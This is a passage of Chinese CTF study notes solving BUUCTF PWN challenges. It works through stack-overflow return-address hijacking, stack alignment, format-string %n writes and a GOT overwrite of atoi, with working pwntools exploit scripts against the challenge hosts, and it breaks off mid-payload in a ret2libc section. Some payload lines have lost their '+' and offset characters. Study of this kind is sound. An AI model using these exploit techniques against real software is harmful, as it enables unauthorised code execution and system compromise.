BUUCTF 刷题笔记——PWN 1
test_your_nc
- 启动靶机后如图,有一个域名地址及端口,此外上方还有一个测试文件。
- 基于效率考量,这里不对尚未展现知识点的测试文件做分析,而在 Kali 中直接使用 nc 命令来对靶机地址端口建立连接并监听。连接后使用 ls 命令即可列出目录数据,可以看到其中有一个名为 flag 的文件,直接使用 cat 命令打开即可。
rip
启动靶机后与前一关类似,一个文件以及一个地址。
直接使用 nc 命令连接一下,当输入 ls 企图列目录时却返回了如下文字同时退出了。对于任意命令均如此,且返回文字的第二行就是我们输入的命令内容,这样一来就有趣了。
那么在 BUU 上提供的测试文件就派上用场了,这个文件实际上是 Linux 系统中的可执行文件,而靶机中则运行着该文件。现在我们要做的就是在该文件中找到漏洞,进而实现对靶机的攻击。首先使用 IDA 对文件进行反编译,打开文件按 F5 即可。在主函数中没有太多特别之处,但是根据这些函数就可以理解直接连接时靶机的响应。
值得注意的是,文件中还存在一个 fun() 函数:
代码语言:javascript复制int fun()
{
return system("/bin/sh");
}
该函数调用 system() 函数打开了 Linux 系统的 Shell,如此一来我们传入的每一段字符都将作为命令被执行,这也是前一关中可以直接使用命令打开 flag 的原因。而现在的任务就是让该函数在程序中被执行。
想在执行过程中插入并运行函数,就有必要了解一下程序中的函数调用机制,当然在这里只分析其中栈的部分。在 64 位 CPU 中常使用 rsp、rbp、rip 三个寄存器来完成栈操作,每个函数所占用的栈空间称为一个栈帧,其中 rsp 永远指向栈帧的栈顶,rbp 则永远指向栈帧的栈底,而本关标题所示的 rip 则指向即将执行的程序指令。在调用函数时,函数的参数会首先被压栈(不过现在大部分优先直接存入寄存器),该部分作为实参值将会赋给被调用函数中的形参。然后返回地址会被压入栈中,待被调用函数执行完成,将依据此地址回归原函数相应位置,也将是我们的重点利用对象。接下来,属于被调用函数的栈帧应该就要进场了,不过这个新栈帧前还需要占用一份空间要用来保存原来的 rbp 值,然后 rbp 才正式开始指向这个新栈底。至于这么做的原因,自然就是待函数调用结束栈帧也要恢复成原来的样子,届时就需要将旧的 rbp 值重新存入寄存器。随后压栈的就是被调用函数的局部变量了,一个有趣的现象在于,当变量的值所需空间大于变量所申请的空间时,数据会继续向栈底方向存入,旧 rbp 值所在地首当其冲,若空间还不够,返回地址就将被修改,这就是所谓的栈溢出。函数调用中的栈帧关系如图所示:
那么问题来了,如果返回地址正好被修改为了前述 fun() 函数的地址,那程序不就被攻破了!因此我们将对主函数中的局部变量下手,值得注意的是主函数也是被系统调用的函数而已,完全遵从上述规则。
代码语言:javascript复制int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[15]; // [rsp 1h] [rbp-Fh] BYREF
puts("please input");
gets(s, argv);
puts(s);
puts("ok,bye!!!");
return 0;
}
对局部变量 s 的复制使用的是 gets() 函数,该函数并不会限制读取字符长度,因此我们完全可以向其输入超额字符,只需对局部变量与旧 rbp 值所占空间作判断即可精准设定返回地址的值!
局部变量可直接看出占了 15 字节,而 rbp 值所占空间则需要依据可执行文件位数来判断,在 Kali 中对该文件使用 file 命令即可知道该文件为 64 位文件。古话说得好,八八六十四,因此占用了 8 个字节。
综上只需填充 23 字节数据后接 fun() 函数地址即可让程序跳至该函数运行。
由于无法方便地从命令行将参数传入,因此将利用 pwntools 构造本人的第一个 exp:
代码语言:javascript复制from pwn import *
#p = remote('node4.buuoj.cn', 29370)
p = process('./pwn1')
payload = b'a' * (15 8) p64(0x401186)
p.sendline(payload)
p.interactive()
其中由于 p64(0x401187) 为 bytes 类型数据,因此前置字符需要加上 b 作为前缀才能使加号有效。上述 exp 在本地运行正常,可以看出在主函数结束之后 fun() 函数被成功调用。
很遗憾,执行远程时失败了:
代码语言:javascript复制└─$ python exp.py
[ ] Opening connection to node4.buuoj.cn on port 29370: Done
[*] Switching to interactive mode
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
经 BUU 靶机提示可知程序运行于 Ubuntu 18 环境中,而在该环境中的 64 位程序中调用 printf()、system() 等函数时需严格遵循栈的 16 字节对齐,评判依据为 rsp&0xf==0,即末位字节为零。实测将地址修改为 0x401187 或者 0x40118a 即可,这样做的原理实际上就是调用 fun() 时避开函数初始的 push 操作以保持正常返回时的 rsp 值(只要栈不变,栈顶指针自然也就不会变)。当然,由于 0x40118a 处开始导入 system() 函数的参数,因此自此的操作均不能被跳过。
此外,还有一种解决方案,就是在 fun() 函数调用前,在 payload 中加入一些别的指令的地址,完成一次或任意奇数次对栈的操作同时返回,即可平衡 fun() 函数初始的 push 操作。比较合适的就是各函数结尾的 retn 指令,单次栈操作执行后便结束返回,无其他指令干扰,可控性强,我们一直用他。
不过,在该环境下还存在一种奇怪的现象,程序会直接忽略调用栈中执行 leave 指令时对 rbp 的 pop 操作,也就是说,甚至可以在 payload 中省去用于填补 rbp 的那八个字节,然后直接跳转至函数调用即可。由于笔者在许多相同环境中均未成功复现该情况,且 BUU 靶机环境并不能提供调试,因此该现象的原因暂时未知。望日后技术成熟,我可以回答这个问题。
因此,远程执行时就有必要使用如下 exp 了,上述提到的可用 payload 也一起放在注释中作为参考。
代码语言:javascript复制from pwn import *
p = remote('node4.buuoj.cn', 29370)
#p = process('./pwn1')
payload = b'a' * (15 8) p64(0x401187)
#payload = b'a' * (15 8) p64(0x40118a)
#payload = b'a' * (15 8) p64(0x401185) p64(0x401186)
#payload = b'a' * (15 8) p64(0x401185) p64(0x401198) p64(0x401185) p64(0x401186)
#payload = b'a' * 15 p64(0x401186) #原因未知的特殊情况
p.sendline(payload)
p.interactive()
执行结果如图,运行后直接 cat flag 即可。
warmup_csaw_2016
启动靶机,提供文件与地址,并且提示环境为 Ubuntu 16,因此应该不存在前述关卡的特殊问题。
直接使用 IDA 进行反编译,F5 查看伪代码发现主函数中返回了一个 gets() 函数。老朋友了,有这个函数就好说了,栈溢出具有初步可行性。
代码语言:javascript复制__int64 __fastcall main(int a1, char **a2, char **a3)
{
char s[64]; // [rsp 0h] [rbp-80h] BYREF
char v5[64]; // [rsp 40h] [rbp-40h] BYREF
write(1, "-Warm Up-n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(s, "%pn", sub_40060D);
write(1, s, 9uLL);
write(1, ">", 1uLL);
return gets(v5);
}
继续 Shift F12 查看字符串窗口,寻找可供利用的字符串,一眼看中关键字符串:cat flag.txt,该字符串作为命令可直接打开 flag,双击发现该字符串被 sub_40060D 函数调用。
双击便可查看该函数,发现该函数直接调用 system() 执行了该字符串,因此只需通过栈溢出执行该函数即可。
代码语言:javascript复制int sub_40060D()
{
return system("cat flag.txt");
}
由主函数中 v5 数组后的 [rbp-40h] 可知数组与栈底指针偏离了 40h 字节,加上返回处 rbp 占用的 8 字节,可知本题填充 48h 字节数据后再指定函数位置即可实现指定函数调用,构造 exp 如下:
代码语言:javascript复制from pwn import *
io = remote('node4.buuoj.cn', 28844)
payload = b'a' * 0x48 p64(0x40060D)
io.sendline(payload)
io.interactive()
此外,关于调用函数的地址,由于只需成功执行关键函数即可,所以并不一定要指定为调用函数的起始地址。与前一关相同,使用下图三个地址中任意一个均可。当然,这里不需要考虑有关栈操作的问题,毕竟是 Ubuntu 16.
ciscn_2019_n_1
启动靶机,大致环境依旧没变,但是操作系统……Ubuntu 18
直接 IDA 反编译并查看伪代码,主函数略显朴素,值得关注的是其调用了一个 func() 函数,双击查看该函数,发现亮点:system("cat /flag"),因此现在的任务就是让该语句成功执行!
代码语言:javascript复制int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
func();
return 0;
}
int func()
{
char v1[44]; // [rsp 0h] [rbp-30h] BYREF
float v2; // [rsp 2Ch] [rbp-4h]
v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
return system("cat /flag");
else
return puts("Its value should be 11.28125");
}
逻辑绕过
大致审计一遍代码,要成功调用 system("cat /flag") 则需要让变量 v2 的值等于 11.28125。代码中并没有为 v2 赋值的语句,但是有给变量 v1 赋值的 gets() 函数,老朋友了。观察这两个局部变量在栈帧中的布局,变量 v2 处于栈底方向,即高地址处,因此利用 gets() 函数将数据溢出至 v2 并指定值为 11.28125 即可。
由变量在栈帧中的布局可知在 v1 填充 2ch 字节数据即可到达变量 v2,最后的问题便是如何把 11.28125 这个浮点型数据传入,参照之前的步骤可知传入数据的在内存中的十六进制表示即可。这一步可以自己计算,当然也可以使用 IDA 中现成的:找到函数中 v2==11.28125 的浮点数所在地即可,其中浮点比较指令为 ucomiss。
至此就可以解题了,构造 exp 如下:
代码语言:javascript复制from pwn import *
io = remote('node4.buuoj.cn', 27651)
payload = b'a' * 0x2c p64(0x41348000)
io.sendline(payload)
io.interactive()
直接跳转
虽然但是,其实之前的方法依然适用的,填充完所有变量并跨过 rbp 位后即可指定程序跳转,让其直接跳转至 system("cat /flag") 执行即可,跳转地址也直接在 IDA 中找到:0x4006BE。
庆幸的是虽然环境为 Ubuntu 18,但并没有遇到栈对齐的问题,应该是正好对其了。因此本题还可以使用如下 exp:
代码语言:javascript复制from pwn import *
io = remote('node4.buuoj.cn', 27651)
payload = b'a' * 0x38 p64(0x4006BE)
io.sendline(payload)
io.interactive()
此外,其实本题文件还开启了 NX 保护,即栈上的数据不可做为代码执行,不过开启该保护完全不影响完成该题。为避免过多赘述,后续并不经常强调保护的问题。
代码语言:javascript复制└─$ checksec ciscn_2019_n_1
[*] '/home/h-t-m/ciscn_2019_n_1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
pwn1_sctf_2016
不多废话,直接丢进 IDA 反编译,查看伪代码时提示需换用 32 位的应用打开,使用 file 一查,还真是,本题文件为 32 位的可执行程序。
换了程序打开后得到主函数的伪代码如下,可以看到仅仅调用了 vuln() 函数而已。
代码语言:javascript复制int __cdecl main(int argc, const char **argv, const char **envp)
{
vuln();
return 0;
}
那么接下来的重点就是 vuln() 函数了,双击打开后,有点丰富。对函数中的代码作简要审计之后即可发现,虽然限制了写入数组 s 的数据长度,但是后面会将所有字符 I 替换为 you,因此字符为 I 的部分长度就会扩大为三倍,等于可输入的数据最大为 96 字节。
代码语言:javascript复制int vuln()
{
const char *v0; // eax
char s[32]; // [esp 1Ch] [ebp-3Ch] BYREF
char v3[4]; // [esp 3Ch] [ebp-1Ch] BYREF
char v4[7]; // [esp 40h] [ebp-18h] BYREF
char v5; // [esp 47h] [ebp-11h] BYREF
char v6[7]; // [esp 48h] [ebp-10h] BYREF
char v7[5]; // [esp 4Fh] [ebp-9h] BYREF
printf("Tell me something about yourself: ");
fgets(s, 32, edata);
// 将数据存入字符数组 s 中,不过限制长度为 32 个字节
std::string::operator=(&input, s);
std::allocator<char>::allocator(&v5);
std::string::string(v4, "you", &v5);
// 在 v4 与 v5 的起始地址之间写入 "you"
std::allocator<char>::allocator(v7);
std::string::string(v6, "I", v7);
// 在 v6 与 v7 的起始地址之间写入 "I"
replace((std::string *)v3);
// 调用自定义函数将字符 "I" 全部替换为字符串 "you"
std::string::operator=(&input, v3, v6, v4);
std::string::~string(v3);
std::string::~string(v6);
std::allocator<char>::~allocator(v7);
std::string::~string(v4);
std::allocator<char>::~allocator(&v5);
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(s, v0);
// 将替换后的字符串存入数组 s 中
return printf("So, %sn", s);
}
Shift F12 查看是否存在关键字符串,一眼相中 cat flag.txt,双击发现在 get_flag() 函数中被调用。在该函数直接调用了 system("cat fla.txt"),正是当前刚需,因此只需继续通过栈溢出让函数执行即可,可以看出函数起始地址为:0x8048F0D。
溢出的突破点则在前述的数组 s 中,在 IDA 中查看该变量偏移了 3ch 字节,又因为该程序为 32 位,所以 rbp 位占用 4 字节,故共偏移 64 字节。
因为字符替换的原因,输入 20 个字符 I 即可填充 60 字节栈空间,再输入 4 个任意字符填充后再指定函数跳转地址即可。因此构造 exp 如下:
代码语言:javascript复制from pwn import *
io = remote('node4.buuoj.cn', 28980)
payload = b'I' * 20 b'a' * 4 p64(0x8048F0D)
io.sendline(payload)
io.interactive()
jarvisoj_level0
一个普通的 64 位程序,直接 IDA 反编译,F5 查看伪代码发现主函数依然十分简单,值得关注的是主函数返回的 vulnerable_function() 函数。
代码语言:javascript复制int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, Worldn", 0xDuLL);
return vulnerable_function();
}
这个 vulnerable_function() 函数就很有意思了,申请了 128 字节的局部变量 buf,然后通过 read() 函数读取并将长度限制为 0x200 字节的数据传入变量。可占用空间大于申请的空间,因此可以直接通过栈溢出执行指定函数。
代码语言:javascript复制ssize_t vulnerable_function()
{
char buf[128]; // [rsp 0h] [rbp-80h] BYREF
return read(0, buf, 0x200uLL);
}
Shift F12 看看是否存在关键字符串,果然有:/bin/sh
顺势找出了 callsystem() 函数,该函数调用 system() 函数执行了 /bin/sh,都是老朋友了,待会儿跳转至该函数起始地址 0x400596 即可。
由伪代码可知变量 buf 相对栈帧的栈底偏移了 80h 个字节,加上 64 位程序的 8 字节 rbp 位,共偏移 88h 字节。因此构造 exp 如下:
代码语言:javascript复制from pwn import *
io = remote('node4.buuoj.cn', 25339)
payload = b'a' * 0x88 p64(0x400596)
io.sendline(payload)
io.interactive()
[第五空间2019 决赛]PWN5
又是一个 32 位程序,直接使用 32 位的 IDA 反编译 F5 查看伪代码,又是一段略长代码,需要稍微审计一下。程序会自动获取一个随机数,然后让我们输入用户名与密码,输入的用户名会之间使用 printf() 函数回显,而密码则取出整型数值后与内部随机数作比较,当值相等时,system() 函数被调用,问题解决。
代码语言:javascript复制int __cdecl main(int a1)
{
unsigned int v1; // eax
int result; // eax
int fd; // [esp 0h] [ebp-84h]
char nptr[16]; // [esp 4h] [ebp-80h] BYREF
char buf[100]; // [esp 14h] [ebp-70h] BYREF
unsigned int v6; // [esp 78h] [ebp-Ch]
int *v7; // [esp 7Ch] [ebp-8h]
v7 = &a1;
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
// 获取随机数
read(fd, &dword_804C044, 4u);
// 将随机数存入 dword_804C044 中,用于后续密码比较
printf("your name:");
read(0, buf, 0x63u);
// 读取姓名并存入 buf 中,限制长度为 0x63 字节
printf("Hello,");
printf(buf);
printf("your passwd:");
read(0, nptr, 0xFu);
// 读取密码并存入 nptr 中,限制长度为 0xF 字节
if ( atoi(nptr) == dword_804C044 )
// 取输入密码数据中的整形数值并于之前的随机数作比较
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
if ( __readgsdword(0x14u) != v6 )
sub_80493D0();
return result;
}
审计后可知,数据输入均被限制,栈溢出不可用。事实上,即使代码中不作限制,本题也不能使用栈溢出,因为文件开启了 Canary 保护,该保护机制会在局部变量与 rbp 位(32 位程序中称 ebp)之间添加一个 Canary 信息,当函数需要返回时会验证该信息是否合法,若非法则停止运行。
代码语言:javascript复制└─$ checksec ./pwn
[*] '/home/h-t-m/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
无法使用栈溢出来绕过比较语句的话,就该注意到 printf() 函数了,这里存在一个格式化字符串的漏洞。格式化字符串即可以在字符串中使用占位符 % 与转换指示符将不同类型的数据插入整合进字符串中,如指示符 d 用于整形,f 用于浮点型。这些数据都会以参数形式传入 printf() 函数中,该函数并不限制参数的数量,但是问题在于如果标志转换的数据位多余参数时,printf() 并不会停止载入数据,而是会继续向栈中取参数。若是使用 %n 则可以将已经打印的字符数输入至以当前数据内容为地址的空间中,也就是说完全可以利用这个漏洞对随机数进行写入篡改,只需将随机数所在的地址置于 %n 执行时的位置即可。那么首先就应该确认一下格式化执行时与字符串传入的偏移值,至于偏移值存在的原因:参数在 printf() 函数实际调用前便已经入栈,因此实际格式化后的字符串在栈中与原本参数位置存在偏移。可以传入如下格式化字符串检验偏移量:
代码语言:javascript复制AAAA-x-x-x-x-x-x-x-x-x-x-x
其中 x 表示以八位十六进制形式输出当前位置之后的数据,数值不足 8 位的左侧用 0 补全,- 用于分割数据,由于只观察数据 AAAA 即可算出偏移量,因此可选用任意分隔符。此外对于 x 的个数则以能算出偏移量为底线,当然也可使用 p 替代 x,区别在于 p 会添加 0x 前缀,这并不影响解题。
传入上述格式化字符串后回显如下,可以看出数据 AAAA 到其十六进制形式数据 41414141 偏移量为 10 (四个字节)。
代码语言:javascript复制[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
your name:AAAA-x-x-x-x-x-x-x-x-x-x-x
Hello,AAAA-ffffd088-00000063-00000000-f7ffdb40-00000003-f7fc34a0-00000001-00000000-00000001-41414141-3830252d
your passwd:
fail
[Inferior 1 (process 80552) exited normally]
手写 payload
接下来将随机数的地址信息写入,并从 41414141 处开始执行 %n 即可完成对于随机数的写入。随机数的地址信息可直接在 IDA 中查看,为:0x804C044
而要 %n 在对应位置执行只需使用 $n 即可,意为后移十个偏移,此时在此之前成功输出的字符即为随机数的地址值,占用四个字节,因此写入的随机数为 4。构造 exp 如下:
代码语言:javascript复制from pwn import *
io = remote('node4.buuoj.cn', 28255)
payload = p32(0x804c044) b'$n'
io.sendline(payload)
io.sendline(str(4))
io.interactive()
有时候直接写入四个字节会带来一些问题,可以使用 hhn 来一个一个字节写入,那么前方的地址自然也就需要逐个列出。值得注意的是输出的字符变成四个地址,也就是每个字节写入的值为 0x10,因此密码为:0x10101010,构造 exp 如下:
代码语言:javascript复制from pwn import *
io = remote('node4.buuoj.cn', 28255)
payload = p32(0x804c044) p32(0x804c045) p32(0x804c046) p32(0x804c047)
payload = b'$hhn$hhn$hhn$hhn'
io.sendline(payload)
io.sendline(str(0x10101010))
io.interactive()
实测会发现上述 hhn 直接换成 n 依然可以,这是因为使用小端存储模式低位数据保存在内存低地址中,所以逐个字节写入时会不断将前一个数据本就为空的高位数据覆盖,从而使执行结果依然不变,不过将四个字节写入的顺序改动一下就可以发现差别所在。
fmtstr_payload
上述解法略显复杂,其实在 Pwntools 中(未介绍过,但是一直在用,也就是 Python 中导入的 pwn 包)有一个十分好用的函数:fmtstr_payload(),这个函数就是用来快速构造格式化字符串漏洞的 payload 的。
fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’) 参数:
- offset:表示格式化字符串的偏移量。
- writes:表示需要利用 %n 写入的数据,采用字典形式。
- numbwritten:表示已经输出的字符个数,默认为 0。
- write_size:表示写入方式,是按字节 byte、按双字节 short 还是按四字节 int,对应着 hhn、hn 和 n,默认值是 byte。
- overflows:接受的溢出量。
- strategy:默认值为 small,有大量数据时可使用 fast。
返回值:直接返回 payload。
只需用到前两个参数即可获得本题的 payload,偏移量为 10,写入数据的字典形式为:{0x804c044:0x0223},这样随机数就会被设置为 0x0223,由此构造 exp 如下:
代码语言:javascript复制from pwn import *
io = remote('node4.buuoj.cn', 28255)
payload = fmtstr_payload(10,{0x804c044:0x0223})
io.sendline(payload)
io.sendline(str(0x0223))
io.interactive()
替换 atoi
本题还有一个值得一提的解法是将判断语句中的 atoi() 函数的地址替换为后面 system() 函数,这样我们输入的密码就会直接成为 system() 的参数,那么只要输入密码为 /bin/sh 不就要啥有啥了。但是,由于并不是通过 rip 来跳转执行,只能替换函数的具体地址且不能影响原调用指令的正常执行,所以在此之前就有必要了解一下程序对外部函数调用的过程。这里以 atoi() 函数为例,函数的调用首先是 call 指令,call 指令后跟的 _atoi 指向跳转指令表 PLT 中的一条跳转指令 jmp,该指令会执行跳转到对应的全局偏移表 GOT 中(图中 ds:off_804C034),而 GOT 表就是用来链接对应外部函数的。
所以在不影响正常调用流程的情况下修改函数地址就应该修改 GOT 表的内容,但是并不能直接修改为 system() 函数在 GOT 表中的地址,这里就涉及到 延迟绑定 的问题了。
所谓延迟绑定就是程序在第一次使用函数时才会进行绑定。如上方调用外部函数 atoi() 时,会跳转至 PLT 表中获取函数的 GOT 地址,而在函数第一次被调用时,GOT 表中数据会指回 PLT 表中的一个特定函数来获取 atoi() 函数的真实地址并存入 GOT 表中,此后调用 atoi() 将直接通过 GOT 表中所指向的真实地址调用该函数。所以 system() 函数在 GOT 表中的地址在程序执行后才能 动态 获取真实地址,因此应该修改为目标函数在对应 PLT 表的地址,让程序继续执行正规流程获得真实地址并调用。由此构造 exp 如下:
代码语言:javascript复制from pwn import *
io = remote('node4.buuoj.cn', 28255)
payload = fmtstr_payload(10,{0x804C034:0x8049080})
io.sendline(payload)
io.interactive()
如此一来人工寻找地址也稍显麻烦,我们依然可以使用现成的工具,直接使用代码解析本地文件来获取函数地址,相关代码的使用不多赘述。构造 exp 如下:
代码语言:javascript复制from pwn import *
io = remote('node4.buuoj.cn', 28255)
elf = ELF('./pwn')
atoi_got = elf.got['atoi']
system_plt = elf.plt['system']
payload = fmtstr_payload(10,{atoi_got:system_plt})
io.sendline(payload)
io.interactive()
ciscn_2019_c_1
这次机灵点,先在机器上把文件执行一遍,了解一下大致运行逻辑。文件执行之后会让我们选择功能,有加密解密与退出,加密则输入字符串后执行加密操作,解密则输出一段字符串通知我们自己完成,退出则终止程序。这样的话基本就是选择加密然后在输入的文本上做手脚了。
那就继续 IDA 反编译 F5 查看伪代码,熟悉文件的执行流程之后再审计代码就很轻松了,主函数基本遵从执行流程,这里主要审计负责读取数据并加密输出的 encrypt() 函数。该函数的加密逻辑为:小写字母与 0xD 异或,大写字母与 0xE 异或,数字与 0xF 异或。此外函数中还存在老朋友 gets() 函数,也就是说存在栈溢出漏洞。
代码语言:javascript复制int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp 0h] [rbp-50h] BYREF
__int16 v3; // [rsp 30h] [rbp-20h]
memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
// 数字与 0xF 异或
}
else
{
s[x] ^= 0xEu;
// 大写字母与 0xE 异或
}
}
else
{
s[x] ^= 0xDu;
// 小写字母与 0xD 异或
}
x;
}
puts("Ciphertext");
return puts(s);
}
虽然说代码中明确存在栈溢出漏洞,但是很遗憾,函数列表中并没有找到 system() 这类函数,Shift F12 也查不出什么关键字符串。不过,作为系统级函数,不论程序是否调用他,系统都会将其加载进内存,而只要找到其内存地址并执行指定字符串即可。Linux 下的 C 函数库称为 libc,因此该方法被称为 ret2libc。那么最重要的就是要寻找 system() 函数在内存中的真实地址,该地址等于 libc 在内存的加载位置(即基地址)加上偏移量。由于各函数在相同版本 libc 中的位置相对稳定,因此同一个函数在同一个版本 libc 中的偏移量也是确定的。所以我们可以突破现有已调用函数的地址,再突破突破该函数在 libc 中的偏移,这样就可以通过指定函数的偏移得出 libc 的版本与基地址,版本已知所有函数的偏移量就都已知,那不得要啥有啥。而且重要的是,为了便于内存管理,系统应用了内存分页机制,即将内存划分为若干大小为 4KB 的页,通过这个大小限定就可以看出,每页内存中的同一位置在不同页中对应的地址值(十六进制)的末三位均相等。所以,其实获得某个函数的真实地址时,通过地址末三位就已经基本可以确定其偏移了。那完蛋,要啥有啥!
要获得已有函数的真实地址以计算偏移量,这里从 puts() 函数下手,因为他在栈溢出点之前已被多次调用,因此其 GOT 表中存储的是其真实的内存地址,同时 puts() 自身就能用于输出,可以将他自己的地址作为参数直接输出,堪称最佳选择。要调用该函数首先考虑填充字符的问题,在 IDA 中查看栈溢出处变量距离栈帧底部 0x50 字节,加上 rbp 位共需填充 0x58 字节数据,此后添加函数地址即可实现跳转。
值得注意的是,程序还会对输入的字符串进行加密操作,由于已经知道加密逻辑,所以大可以提前设置好数据以确保加密后跳转地址依然有效。不过,程序中判断字符串长度使用的是 strlen() 函数,该函数以 作为字符串结尾来计算长度,因此直接将凑数部分数据设为 即可直接避免加密了。由上可以初步构造 payload 的填充部分:
代码语言:javascript复制payload = b'